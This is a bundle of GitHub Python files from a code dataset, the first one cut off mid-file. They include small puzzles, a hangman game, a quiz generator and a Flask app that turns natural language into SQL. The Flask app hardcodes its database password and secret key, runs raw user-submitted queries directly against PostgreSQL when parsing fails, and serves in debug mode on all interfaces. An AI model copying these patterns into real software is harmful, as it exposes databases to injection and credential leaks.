output_paths_r[i_batch_start_ind+ind]\n        i, o = im_handler.load_resized(path_i, path_o)\n        i = model_handler.input_image_to_array(i)\n        i_batch.append(i)\n\n    i_batch = np.array(i_batch)\n\n    #i = np.reshape(i, (None, np.shape(i)))\n\n    y_batch = model_handler.get_model_output(i_batch)\n\n    y_batch = np.array(y_batch)\n\n    fig_img, axs = plt.subplots(i_batch_size, 2, figsize=(25, 50))\n    fig_img.tight_layout()\n\n    # create overlay\n    for ind in range(i_batch_size):\n        i_gray = cv2.cvtColor(i_batch[ind], cv2.COLOR_BGR2GRAY)\n        o_gray = np.copy(i_gray)\n\n        print(i_gray.dtype)\n\n        # inp_image = array_to_img(i_gray)\n        # output = array_to_img(i_gray)\n        # print(np.shape(i_batch[ind]))\n\n        raise_rank = np.expand_dims(y_batch[ind], axis=2)\n        #raise_rank = raise_rank[np.newaxis]\n        print(np.shape(raise_rank))\n        print(raise_rank.dtype)\n        raise_rank = raise_rank.astype(np.float32)\n        raise_rank = raise_rank #/ 36.0\n        # out_overlay = array_to_img(raise_rank)\n        cv2.addWeighted(raise_rank, 0.2, i_gray, 0.8, 0, o_gray)\n\n        axs[ind][0].imshow(i_batch[ind])\n        axs[ind][0].set_title('Input image')\n        axs[ind][1].imshow(o_gray)\n        axs[ind][1].set_title('Trained model output')\n\n    plt.show(fig_img)\n\n''' Use it for a single image test\n    print(np.shape(i))  # this is a Numpy array with shape (320, 480, 3)\n\n    i = i[np.newaxis, ...]  # dimension added to fit input size\n\n    y = model_handler.get_model_output(i)\n\n    print(np.shape(y))\n    y = np.squeeze(y, axis=0)\n    print(np.shape(y))\n\n    plt.imshow(y)\n    plt.show()\n'''","repo_name":"KonstantinIvanchenko/selfdriving_semantic","sub_path":"SemanticTrainer.py","file_name":"SemanticTrainer.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"4090807828","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom random import randint\n\ndef pythagore_triplet(v_min = 1, v_max = 10):\n    \"\"\"Random pythagore triplet generator\n\n    :param v_min: minimum in randint\n    :param v_max: max in randint\n    :returns: (a,b,c) such that a^2 + b^2 = c^2\n\n    \"\"\"\n    u = randint(v_min,v_max)\n    v = randint(v_min,v_max)\n    while v == u:\n        v = randint(v_min,v_max)\n\n    u, v = max(u,v), min(u,v)\n\n    return (u**2-v**2 , 2*u*v, u**2 + v**2)\n\nif __name__ == '__main__':\n    print(pythagore_triplet())\n\n    for j in range(1,10):\n        for i in range(j,10):\n            print((i**2-j**2 , 2*i*j, i**2 + j**2))\n\n\n\n\n\n\n# -----------------------------\n# Reglages pour 'vim'\n# vim:set autoindent expandtab tabstop=4 shiftwidth=4:\n# cursor: 16 del \n","repo_name":"Lafrite/Opytex","sub_path":"lib/pythagore.py","file_name":"pythagore.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73634178382","text":"import time\r\nimport os\r\nimport json\r\nfrom flask import Flask, render_template, flash, redirect, request, url_for\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nimport csv\r\nimport psycopg2\r\nfrom DBConnector import retrieve_data, close_db_connection, get_table_list, get_columns_names, drop_tables\r\nimport QueryParser\r\nimport parser\r\n\r\n\r\nDBUSER = 'admin'\r\nDBPASS = 'supersecretpwd'\r\nDBHOST = 'db'\r\nDBPORT = '5432'\r\nDBNAME = 'testdb'\r\ncon = None\r\n\r\napp = Flask(__name__)\r\napp.config['SQLALCHEMY_DATABASE_URI'] = \\\r\n    'postgresql+psycopg2://{user}:{passwd}@{host}:{port}/{db}'.format(\r\n        user=DBUSER,\r\n        passwd=DBPASS,\r\n        host=DBHOST,\r\n        port=DBPORT,\r\n        db=DBNAME)\r\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\r\napp.secret_key = 'supersecretpwd'\r\n\r\n\r\ndb = SQLAlchemy(app)\r\n\r\n\r\nclass top_students(db.Model):\r\n    __tablename__ = 'top_students'\r\n    student_id = db.Column(db.Integer, primary_key=True)\r\n    first_name = db.Column(db.String(100))\r\n    last_name = db.Column(db.String(100))\r\n    email = db.Column(db.String(100))\r\n    gender = db.Column(db.String(50))\r\n    major = db.Column(db.String(100))\r\n    university = db.Column(db.String(100))\r\n\r\n    def __init__(self, student_id, first_name, last_name, email, gender, major, university):\r\n        self.student_id = student_id\r\n        self.first_name = first_name\r\n        self.last_name = last_name\r\n        self.email = email\r\n        self.gender = gender\r\n        self.major = major\r\n        self.university = university\r\n\r\n\r\nclass university_ranking(db.Model):\r\n    __tablename__ = 'university_rankings'\r\n    university = db.Column(db.String(100), primary_key=True)\r\n    location = db.Column(db.String(100))\r\n    rank = db.Column(db.Integer)\r\n    description = db.Column(db.String(10000))\r\n    tuition_fees = db.Column(db.Integer)\r\n\r\n    # in_state = db.Column()\r\n    # in_state.type = in_state.type.evaluates_none()\r\n    in_state = db.Column(db.Integer, nullable=True)\r\n\r\n    undergrad_enrollment = db.Column(db.Integer)\r\n\r\n    def __init__(self, university, location, rank, description, tuition_fees, in_state, undergrad_enrollment):\r\n        self.university = university\r\n        self.location = location\r\n        self.rank = rank\r\n        self.description = description\r\n        self.tuition_fees = tuition_fees\r\n        self.in_state = in_state\r\n        self.undergrad_enrollment = undergrad_enrollment\r\n\r\n\r\nclass university_majors(db.Model):\r\n    __tablename__ = 'university_majors'\r\n    major_code = db.Column(db.Integer)\r\n    major = db.Column(db.String(100), primary_key=True)\r\n    major_category = db.Column(db.String(100))\r\n\r\n    def __init__(self, major_code, major, major_category):\r\n        self.major_code = major_code\r\n        self.major = major\r\n        self.major_category = major_category\r\n\r\n\r\n\r\ndef clear_data(session):\r\n    meta = db.metadata\r\n    for table in reversed(meta.sorted_tables):\r\n        print('Clear table %s' % table)\r\n        session.execute(table.delete())\r\n    session.commit()\r\n\r\n\r\ndef database_initialization_sequence():\r\n    db.create_all()\r\n\r\n    with open('data/top_students.csv', 'r') as f:\r\n        reader = csv.DictReader(f)\r\n        for row in reader:\r\n            db.session.add(top_students(row['Student ID'], row['First Name'], row['Last Name'],\r\n                                    row['Email'], row['Gender'], row['Major'], row['University']))\r\n    db.session.commit()\r\n\r\n    with open('data/majors.csv', 'r') as f:\r\n        reader = csv.DictReader(f)\r\n        for row in reader:\r\n            db.session.add(university_majors(row['Major Code'], row['Major'], row['Major Category']))\r\n    db.session.commit()\r\n\r\n    # nan_to_null('data/national_university_ranking.csv')\r\n    with open('data/national_university_ranking.csv', 'r') as f:\r\n        reader = csv.DictReader(f)\r\n        for row in reader:\r\n            db.session.add(university_ranking(row['University'], row['Location'], row['Rank'],\r\n                                    row['Description'], row['Tuition and fees'], row['In-state'], row['Undergrad Enrollment']))\r\n    db.session.commit()\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n    return render_template('index.html')\r\n\r\n\r\n@app.route('/search')\r\ndef search():\r\n    return render_template('search.html')\r\n\r\n\r\n@app.route('/query_data', methods=['GET', 'POST'])\r\ndef query_data():\r\n    if request.method == 'POST':\r\n        # Flash messages can be useful when the user interacts with the tool - i.e. success and error messages.\r\n        # You can change the type of alert box displayed by changing the second argument according to Bootsrap's alert types:\r\n        # https://getbootstrap.com/docs/4.3/components/alerts/\r\n        \r\n        query = request.form.get('query')\r\n        #headerResult: [0] - The query generated from QueryParser, \r\n        # [1] - The list of column names to use as Headers in top row\r\n        # [2] - The list of tables that are used. \r\n        print(query)\r\n        headerResult = parser.parse(query)\r\n        sql_query = headerResult[0]\r\n        print(sql_query)\r\n        headerList = headerResult[1]\r\n        tableList = headerResult[2]\r\n        try:\r\n            result = retrieve_data(con, cursor, sql_query)\r\n            result.insert(0, headerList)\r\n            result.insert(0, [' '])\r\n            result.insert(0, ['table name:', tableList])\r\n            result.insert(0, ['sql query:', sql_query])\r\n        except:\r\n            try:\r\n                con.reset()\r\n                result = retrieve_data(con, cursor, query)\r\n                result.insert(0, [query])\r\n\r\n            except:\r\n                con.reset()\r\n                result = \" \"\r\n                flash('Invalid Query', 'danger')\r\n\r\n        return render_template('query_data.html', results=result)\r\n\r\n\r\n@app.route('/data')\r\ndef data():\r\n    return render_template('show_all.html', \r\n                            students=top_students.query.all(), \r\n                            majors=university_majors.query.all(),\r\n                            national_university_ranking=university_ranking.query.all())\r\n\r\n\r\nif __name__ == '__main__':\r\n    dbstatus = False\r\n\r\n    while dbstatus == False:\r\n        try:\r\n            db.create_all()\r\n        except:\r\n            time.sleep(2)\r\n        else:\r\n            dbstatus = True\r\n\r\n    clear_data(db.session)\r\n\r\n    con = psycopg2.connect(database=\"testdb\", user=\"admin\",\r\n                                    password=\"supersecretpwd\", host=\"db\", port=\"5432\")\r\n    cursor = con.cursor()\r\n    database_initialization_sequence()\r\n\r\n    if not os.path.isfile('tables.json'):\r\n        tables_dict = {}\r\n        tables = get_table_list(con, cursor, 'public')\r\n        for table in tables:\r\n            tables_dict[table[1]] = [table[1]]\r\n        with open('tables.json', 'w') as fp:\r\n            json.dump(tables_dict, fp,indent=2)\r\n\r\n    if not os.path.isfile('columns.json'):\r\n        columns_dict = {}\r\n        tables = get_table_list(con, cursor, 'public')\r\n        for table in tables:\r\n            columns_dict[table[1]] = {}\r\n            columns = get_columns_names(con, cursor, table[1])\r\n            for column in columns:\r\n                columns_dict[table[1]][column] = [column]\r\n            print(columns)\r\n        with open('columns.json', 'w') as fp:\r\n            json.dump(columns_dict, fp,indent=2)\r\n\r\n    app.run(debug=True, host='0.0.0.0')\r\n    close_db_connection(con, cursor)\r\n","repo_name":"annie-nguyen-parque/pace-nlparser-azurewebapp","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73016350223","text":"grid = []\nfor _ in range(8):\n    grid.append(list(input()))\n\ncode = list(input())\ndirection = 0\ntx, ty = 0, 7\nall_directions = ['E', 'S', 'W', 'N']  # 0, 1, 2, 3\ndeltas = {0: (1, 0), 1: (0, 1), 2: (-1, 0), 3: (0, -1)}\ndx, dy = 1, 0\n\nfor c in code:\n    if c == 'F':\n        if not (0 <= tx + dx <= 7 and 0 <= ty + dy <= 7):\n            print(\"Bug!\")\n            break\n        elif grid[ty + dy][tx + dx] == 'I' or grid[ty + dy][tx + dx] == 'C':\n            print(\"Bug!\")\n            break\n        else:\n            tx += dx\n            ty += dy\n    elif c == 'R':\n        direction = (direction + 1) % 4\n        dx, dy = deltas[direction]\n    elif c == 'L':\n        if direction == 0:\n            direction = 3\n        else:\n            direction -= 1\n        dx, dy = deltas[direction]\n    elif c == 'X':\n        if not (0 <= tx + dx <= 7 and 0 <= ty + dy <= 7):\n            print(\"Bug!\")\n            break\n        elif grid[ty + dy][tx + dx] == 'I':\n            grid[ty + dy][tx + dx] = '.'\n        else:\n            print(\"Bug!\")\n            break\nelse:\n    if grid[ty][tx] == 'D':\n        print(\"Diamond!\")\n    else:\n        print(\"Bug!\")\n","repo_name":"JakobKallestad/CKattis","sub_path":"TurtleMaster.py","file_name":"TurtleMaster.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29239015332","text":"def solve(ls):\n  min_l,min_s=[],150\n  for i,l in enumerate(ls):\n    c = list(map(int, l))\n    s = sum(1 for i in c if i == 0)\n    if s < min_s:\n      min_s = s\n      min_l = c\n\n  ones = sum(1 for i in min_l if i == 1)\n  twos = sum(1 for i in min_l if i == 2)\n  return ones * twos\n\ndef render(ls):\n  img = []\n  for i in range(150):\n    for l in ls:\n      if l[i] != '2':\n        img.append(l[i])\n        break\n  m = [ img [i:i + 25] for i in range(0, len(img), 25) ]\n  for i in m:\n    for j in i:\n      if j == '1':\n        print('█', end='')\n      else:\n        print(' ', end='')\n    print('\\n')\n\n\ninp = open(\"day8input.txt\").read()\nlayers = list(map(''.join, zip(*[iter(inp)]*150)))\nprint(solve(layers))\nrender(layers)\n","repo_name":"mrisoli/adventofcode","sub_path":"python/2019/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"7433143656","text":"import sys\r\nsys.path.append('../dims')\r\n\r\n#from PIL import Image, ImageDraw, ImageFont\r\nfrom DimLinesPIL import angled_text, DashedLine\r\nfrom DimLinesattr import aq, slant_dim_attr, WideLineATTR, dims_attr\r\n\r\nprint(aq.width,aq.height)\r\n#print(a.draw)\r\n#ft = ImageFont.truetype('consola.ttf', 15)\r\n#im = Image.new('RGB', (300, 160), (255,255,221))\r\n#a = atr(im, font=ft)\r\n\r\nap = (30, 100)\r\ncp = (186, 100)\r\nfp = (236, 50)\r\nep = (236, 100)\r\ndp = (276, 100)\r\n\r\nWideLineATTR(fp, ap, width=2)\r\nWideLineATTR(ap, cp, width=2)\r\nWideLineATTR(cp, fp, width=2)\r\n\r\nDashedLine(aq.draw, cp, dp, dash=(5,5), width = 2, fill=aq.fill)\r\nDashedLine(aq.draw, ep, fp, dash=(5,5), width = 1, fill=aq.fill)\r\nslant_dim_attr(ap, fp, extA=(8, 2), text='d2')\r\ndims_attr(ap, cp, extA=(-8,-2), text='d1')\r\ndims_attr(fp, ep, extA=(8,2), text='d3', textorient='horizontal')\r\n\r\nangled_text(aq.image, (ap[0]-7, ap[1]), text='A', angle=0, font=aq.font, fill=aq.fill)\r\nangled_text(aq.image, (fp[0]+10, fp[1]-12), text='F', angle=0, font=aq.font, fill=aq.fill)\r\nangled_text(aq.image, (ep[0], ep[1]+12), text='E', angle=0, font=aq.font, fill=aq.fill)\r\nangled_text(aq.image, (cp[0] -7, cp[1]-10), text='C', angle=0, font=aq.font, fill=aq.fill)\r\n\r\n\r\n#dc.image.save('../figures/draw_arrow.png')\r\naq.image.show()\r\n","repo_name":"Edgar-Donk/PIL-dimensions","sub_path":"docs/examples/attribs/draw_aa_arrow.py","file_name":"draw_aa_arrow.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3484091779","text":"import unittest\nfrom hypothesis import given\nfrom hypothesis import settings\nfrom hypothesis.strategies import lists\nfrom hypothesis.strategies import integers\n\n\ndef binary_search(\n    ns: list[int], target: int, start_idx: int = 0, end_idx: int | None = None\n) -> int | None:\n    if not ns:\n        return None\n    if end_idx is None:\n        end_idx = len(ns)\n    mid_idx = (start_idx + end_idx) // 2\n    mid = ns[mid_idx]\n    if mid == target:\n        return mid_idx\n    elif start_idx == mid_idx:\n        return None\n    elif mid < target:\n        return binary_search(ns, target, mid_idx, end_idx)\n    elif mid > target:\n        return binary_search(ns, target, start_idx, mid_idx)\n\n\nclass BinarySearchTests(unittest.TestCase):\n    @given(lists(elements=integers()))\n    @settings(max_examples=500)\n    def test_search_test(self, ls: list[int]):\n        print(ls)\n        ls.sort()\n        expected = 0\n        result = binary_search(ls, ls[expected] if ls else 0)\n        if ls:\n            self.assertIsNotNone(result)\n            if result is not None:\n                self.assertEqual(ls[result], ls[expected])\n        else:\n            self.assertIsNone(result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"huseyinyilmaz/datastructures","sub_path":"python/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22828761470","text":"#Faça um Programa que leia um vetor de 10 caracteres, e diga quantas consoantes foram lidas. \n#Imprima as consoantes.​\ncaract=[]\nvogais=[\"a\",\"e\",\"i\",\"o\",\"u\"]\ncontvogal = 0\nx = 1\nwhile x <= 10:\n    entrada = input(\"Caractere %d: \" %x)\n    x += 1\n    caract.append(entrada)\n    if entrada in vogais:\n        contvogal += 1\nprint (\"Consoantes: \",(len(caract))-contvogal)\n","repo_name":"Marinomura/Exercicios-python-Senac-Hub-fabrica-275","sub_path":"77.py","file_name":"77.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19948043164","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport sys, os\nfrom github import Github\n\nsrcPath = 'src/'\npostPath = 'new post/'\n\npathDict = {}\nfor dirname, dirnames, filenames in os.walk(srcPath):\n    floderName = dirname[dirname.rfind('/')+1:]\n    if (len(floderName) > 0):\n        key = floderName[floderName.find('.')+1:] if floderName.find('.') > 0 else floderName\n        pathDict[key] = dirname\n\ngithubToken = os.environ.get('GITHUB_TOKEN')\ngithubRepo = os.environ.get('GITHUB_REPOSITORY')\ng = Github(githubToken)\nrepo = g.get_repo(githubRepo)\nclosedIssues = repo.get_issues(state='closed')\nlastClosedIssue = sorted(closedIssues, key=lambda x: x.closed_at, reverse=True)[0]\ntargetDir = ''\nno = -1\nif (lastClosedIssue.title.startswith('post:')):\n    no = lastClosedIssue.title[5:]\n    for label in lastClosedIssue.labels:  \n        if label.name in pathDict:\n            targetDir = pathDict[label.name]\n\nif targetDir:\n    files = list(filter(lambda x: x.startswith(no) and x.endswith('.md'), os.listdir(postPath)))\n    if (len(files) > 0):\n        os.rename(postPath + files[0], targetDir + '/' + files[0])\n    else:\n        raise RuntimeError('post file is not exist')\nelse:\n    raise RuntimeError('target directory is not exist')","repo_name":"xize1993/leetcode","sub_path":".github/workflows/script/move_post.py","file_name":"move_post.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20698714560","text":"import json\r\n# TODO - CHECK FOR DUPLICATES IN QUESTIONS/ANSWERS - FIND A WAY TO MEASURE DIFFICULTY - MATCH BY SPLITTING THE DEFINITIONS OF A SUBJECT IN TWO\r\n\r\n\r\n# Change path\r\nwith open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\fisier1_subiecte.json', 'r', encoding=\"utf-8-sig\") as data_file:\r\n    json_data_subiecte = data_file.read()\r\n\r\nwith open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\fisier2_proprietati.json', 'r', encoding=\"utf-8-sig\") as data_file:\r\n    json_data_proprietati = data_file.read()\r\n\r\nsubjects = json.loads(json_data_subiecte)\r\nproperties = json.loads(json_data_proprietati)\r\n\r\ndef Matching(questions_number):\r\n\r\n    # O sa avem o lista de dictionare ( 1 dictionar = 1 json / o instanta )\r\n    print(subjects)\r\n    print(properties)\r\n\r\n    question_id = 0\r\n    answer_id = 0\r\n\r\n    import json\r\n    import sys\r\n\r\n    # Assume there is a global \"subjects\" json list\r\n\r\n    # Dificultate bazata pe distanta;\r\n    # Exemplu: daca nodul dat drept raspuns se afla in prima treime, plecand de la radacina ontologiei, va fi un raspuns usor\r\n    # Easy: 0-33%\r\n    # Medium: 33%-66%\r\n    # Hard: 66%-100%\r\n\r\n    # Cauta indexul din json corespunzator id-ului cautat din baza de date\r\n    def getEntryIndexById (node_id):\r\n        for index in range(0, len(subjects)):\r\n            if subjects[index]['id'] == node_id:\r\n                return index\r\n        return -1\r\n\r\n    # TODO Maybe the DB id should be passed as argument?\r\n    # Calculeaza inaltimea maxima incepand de la root, care este indexul din fisierul json!\r\n    def calculateMaxDepth(root):\r\n        max = 0\r\n        for node in subjects[root]['noduri_legate']:\r\n            currentMax = calculateMaxDepth(getEntryIndexById(node))\r\n            if currentMax > max:\r\n                max = currentMax\r\n\r\n        return max + 1\r\n    #Example:\r\n    #print(calculateMaxDepth(getEntryIndexById(100)))\r\n\r\n    # TODO Optimise callind getEntryIndex\r\n    # Calculeaza distanta de la root_node la answer_node_id\r\n    # !! Deoarece fisierul nostru cu subiecte are mai multe concepte care nu sunt legate intre ele (ca in ontologia finala)\r\n    # !! Va trebui sa dati ca root_node conceptul in care vreti sa fie calculata distanta\r\n    def calculateNodeDepth(root_node, answer_node_id, current_depth):\r\n        if root_node == getEntryIndexById(answer_node_id):\r\n            return current_depth\r\n        tmp =0\r\n        for node in subjects[root_node]['noduri_legate']:\r\n            tmp+=calculateNodeDepth(getEntryIndexById(node), answer_node_id, current_depth+1)\r\n        return tmp\r\n\r\n    # Exemplu apel: cautam subiectul cu id-ul 500 luand ca radacina a conceptului nodul cu id-ul 100 din fisier\r\n    #print (calculateNodeDepth(getEntryIndexById(100),500, 0))\r\n\r\n    #there should be \"road\" from the root to any of the nodes\r\n    # 0 - Easy, 1 - Medium, 2 - Hard\r\n    # !! Root_id and Node_id is the id from the ontology, not the index in the subjects file !!\r\n    def diffBasedOnNodeDist(root_id, node_id):\r\n       maxDepth = calculateMaxDepth(getEntryIndexById(root_id))\r\n       nodeDepth = calculateNodeDepth(getEntryIndexById(root_id), node_id, 0)\r\n       difficulty = nodeDepth * 100 / maxDepth;\r\n       if difficulty < 33.3:\r\n           return 0\r\n       elif difficulty > 33.3 and difficulty < 66.6:\r\n           return 1\r\n       else: return 2\r\n\r\n\r\n    # Create files for testing question_id / answer_id\r\n\r\n    question_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\questions_synonyms.txt', 'w',\r\n                            encoding=\"utf8\")\r\n    answer_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\answers_synonyms.txt', 'w',\r\n                          encoding=\"utf8\")\r\n\r\n    # The number of questions to generate\r\n    QUESTIONS_NUMBER = questions_number\r\n\r\n    # Match by synonyms\r\n    for inst in subjects:\r\n        if inst[\"sinonime\"] != [] and QUESTIONS_NUMBER > 0:\r\n            question_id = question_id + 1\r\n            difficultate = diffBasedOnNodeDist(subjects[0][\"id\"],inst[\"id\"])\r\n            question = [question_id, inst[\"domeniu\"], difficultate, inst[\"nume\"], 3]\r\n            # print(inst[\"nume\"])\r\n\r\n            question_id_file.write(str(question))\r\n            question_id_file.write(\"\\n\")\r\n            x = inst[\"sinonime\"]\r\n            # print(x)\r\n\r\n            for sinonim in x:\r\n                answer_id = answer_id + 1\r\n                answer = [answer_id, question_id, sinonim, \"True\"]\r\n                answer_id_file.write(str(answer))\r\n                answer_id_file.write(\"\\n\")\r\n\r\n            subjects.remove(inst)\r\n            QUESTIONS_NUMBER -= 1\r\n            # print(\"\\n\\n\\n\")\r\n\r\n    question_id_file.close()\r\n    answer_id_file.close()\r\n\r\n    QUESTIONS_NUMBER = questions_number\r\n\r\n\r\n    question_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\questions_properties.txt', 'w',\r\n                            encoding=\"utf8\")\r\n    answer_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\answers_properties.txt', 'w',\r\n                          encoding=\"utf8\")\r\n\r\n    # Match by properties\r\n    questions_properties = []\r\n    answers_properties = []\r\n    for inst in properties:\r\n        if inst[\"id_sub\"] != []:\r\n            #print (inst[\"id_sub\"])\r\n            for id_subiect in inst[\"id_sub\"]:\r\n                #print(id_subiect)\r\n                x = [i for i in subjects if i[\"id\"] == id_subiect]\r\n                if x != [] and QUESTIONS_NUMBER > 0:\r\n                    x = x[0]\r\n                    question_id = question_id + 1\r\n                    difficultate = diffBasedOnNodeDist(subjects[0][\"id\"],x[\"id\"])\r\n                    question = [question_id, x[\"domeniu\"], difficultate, x[\"nume\"], 3]\r\n\r\n                    answer_id = answer_id + 1\r\n                    answer = [answer_id, question_id, inst[\"nume\"], \"True\"]\r\n\r\n                    questions_properties.append(question)\r\n                    answers_properties.append(answer)\r\n\r\n                    QUESTIONS_NUMBER -= 1\r\n                    inst[\"id_sub\"].remove(id_subiect)\r\n\r\n    #remove duplicate questions\r\n    for i in questions_properties:\r\n        dup = [j for j in questions_properties if i[3] == j[3] and i[1] == j[1] and i[0] != j[0]]\r\n        for k in dup:\r\n            answer = [x for x in answers_properties if k[0] == x[1]]\r\n            answer[0][1] = i[0]\r\n        for k in dup:\r\n            questions_properties.remove(k)\r\n\r\n    #write to file\r\n    for i in questions_properties:\r\n        question_id_file.write(str(i) + \"\\n\")\r\n    for i in answers_properties:\r\n        answer_id_file.write(str(i) + \"\\n\")\r\n\r\n    question_id_file.close()\r\n    answer_id_file.close()\r\n\r\n\r\n    question_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\questions_definition.txt', 'w',\r\n                            encoding=\"utf8\")\r\n    answer_id_file = open(r'C:\\Users\\alexa\\Desktop\\IA\\Proiect-IA-B4-Modul2\\Matching\\answers_definition.txt', 'w',\r\n                          encoding=\"utf8\")\r\n\r\n    QUESTIONS_NUMBER = questions_number\r\n\r\n    answers_definitions = []\r\n    questions_definitions = []\r\n    # Match by splitting the definitions of a subject - TODO\r\n    for inst in subjects:\r\n        if inst[\"definitie\"] != \"\" and QUESTIONS_NUMBER >0:\r\n            question = [i for i in questions_properties if i[1] == inst[\"domeniu\"] and i[3] == inst[\"nume\"]]\r\n            answer_id += 1\r\n            if question != []:\r\n                answer = [answer_id, question[0][0],inst[\"definitie\"],1]\r\n                answers_definitions.append(answer)\r\n                answer_id_file.write(str(answer)+ \"\\n\")\r\n            else:\r\n                question_id += 1\r\n                difficultate = diffBasedOnNodeDist(subjects[0][\"id\"],inst[\"id\"])\r\n                question = [question_id, inst[\"domeniu\"],difficultate,inst[\"nume\"],\"SingleMathch\"]\r\n                questions_definitions.append(question)\r\n                answer = [answer_id,question_id,inst[\"definitie\"],1]\r\n                answers_definitions.append(answer)\r\n\r\n                answer_id_file.write(str(answer)+ \"\\n\")\r\n                question_id_file.write(str(question) + \"\\n\")\r\n            inst['definitie'] = ''\r\n            QUESTIONS_NUMBER -= 1\r\n    print(subjects)\r\n    print(properties)\r\n\r\nMatching(5)","repo_name":"SergiuMiron/Proiect-IA-B4-Modul2","sub_path":"Matching.py","file_name":"Matching.py","file_ext":"py","file_size_in_byte":8298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"73077631182","text":"#### picking random word ####\nimport random\nwords = [\"homework\", \"cleaning\", \"math\", \"history\", \"science\", \"English\", \"programming\"]\nindex = random.randrange(0, len(words))\nword = words[index]\n\n#### stages of hanging ####\nstages = [\n'''\n#---------\n#            \n#        \n#        \n#          \n#        \n#      #####\n#        #\n''',\n'''\n#---------\n#        |    \n#        \n#        \n#          \n#        \n#      #####\n#        #\n''',\n'''\n#---------\n#        |    \n#        O\n#        \n#          \n#        \n#      #####\n#        # \n''',\n'''\n#---------\n#        |    \n#        O\n#        |\n#          \n#        \n#      #####\n#        #\n''',\n'''\n#---------\n#        |    \n#        O\n#      \\/|\\/\n#          \n#        \n#      #####\n#        #\n''',\n'''\n#---------\n#        |    \n#        O\n#      \\/|\\/\n#        A  \n#        \n#      #####\n#        #\n''',\n'''\n#---------\n#        |    \n#        O\n#      \\/|\\/\n#        A  \n#      _/ \\_\n#      #####\n#        #\n''',\n'''\n\n!!! You have been hung !!!\n\n#---------\n#        |    \n#        O\n#      \\/|\\/\n#        A  \n#      _/ \\_\n#      \n#\n        _I_\n         I\n     ~~~~~~~~~\n    /  !RIP!  \\\\\n   /           \\\\\n''']\n\n\n#### Into ####\nprint('Welcome user to hangman!')\nprint('I will have a word in my head which all workaholics like and you have to guess it.')\nprint('...hmmmm I have thought of a word')\n\n\nletters = []  # already used letters\nlifes = len(stages) - 1   # remaining lifes\nerrors = 0  # errors made so far - to print a hanging stage\n\n\nprint('The word contains ' + str(len(word)) + ' letters')\n\nwhile True:\n    print()\n    print(stages[errors])\n    print('You have ' + str(lifes) + ' lifes')\n    if len(letters) > 0:\n        print('You used the following letters: ', \", \".join(letters))\n    \n    # print the word replacing unguessed letters with *\n    print('The known word so far is ', end='')\n    for letter in word:\n        if letter.lower() in letters:\n            print(letter, end=\"\")\n        else:\n            print(\"*\", end=\"\")\n     \n    guess = input(\". What is your next guess? (give me a letter): \")[0]\n    if guess not in word:\n        lifes -= 1\n        errors +=1\n        if lifes == 0:\n            print(stages[errors])\n            break\n        \n    letters += guess.lower()\n    \n    # check if the word is guessed completely\n    guessed = True\n    for letter in word:\n        if letter.lower() not in letters:\n            guessed = False\n            \n    if guessed:\n        print('')\n        print('LUCKY YOU !!!')\n        print('The word is really \"' + word + '\"')\n        print('Next time, for sure, you will be hung!')\n        break\n","repo_name":"EvgenyYukhanov/7thgradepython","sub_path":"hangman/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
